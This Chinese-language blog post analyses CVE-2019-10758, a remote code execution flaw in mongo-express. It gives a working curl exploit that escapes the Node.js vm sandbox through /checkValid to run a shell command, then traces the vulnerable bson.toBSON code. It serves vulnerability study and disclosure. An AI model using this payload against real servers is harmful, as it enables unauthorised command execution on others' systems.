Fork me on GitHub

mongo-express CVE-2019-10758 RCE 分析

exp

1
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("open -a Calculator")'

具体分析

查找checkValid相关的路由,在https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/router.js可以找到

1
2
3
4
5
6
const router = function (config) {
// ...
const appRouter = express.Router();
appRouter.post('/checkValid', mongoMiddleware, configuredRoutes.checkValid);
return appRouter;
}

跟进configuredRoutes.checkValidhttps://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js](https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/routes/document.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var routes = function (config) {
// ...
var exp = {};
exp.checkValid = function (req, res) {
var doc = req.body.document;
try {
bson.toBSON(doc);
} catch (err) {
console.error(err);
return res.send('Invalid');
}

res.send('Valid');
};
return exp;
}

这里看到取post参数document的内容进入了bson.toBSON,跟进该函数的定义https://github.com/mongo-express/mongo-express/blob/v0.53.0/lib/bson.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var mongodb = require('mongodb');
var vm = require('vm');
var json = require('./json');

// ...

//JSON.parse doesn't support BSON data types
//Document is evaluated in a vm in order to support BSON data types
//Sandbox contains BSON data type functions from node-mongodb-native
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();

string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

vm.runInNewContext('doc = eval((' + string + '));', sandbox);

return sandbox.doc;
};

// This function as the name suggests attempts to parse
// the free form string in to BSON, since the possibilities of failure
// are higher, this function uses a try..catch
exports.toSafeBSON = function (string) {
try {
var bsonObject = exports.toBSON(string);
return bsonObject;
} catch (err) {
return null;
}
};

可以看到这里toBson的操作直接将参数拼接传入vm.runInNewContext中,而nodejs的vm模块并不是一个特别安全的隔离环境,可以通过this.constructor.constructor来逃逸到全局范围从而引入process等nodeapi. 使用process.mainModule.require即可引入任意库从而实现RCE.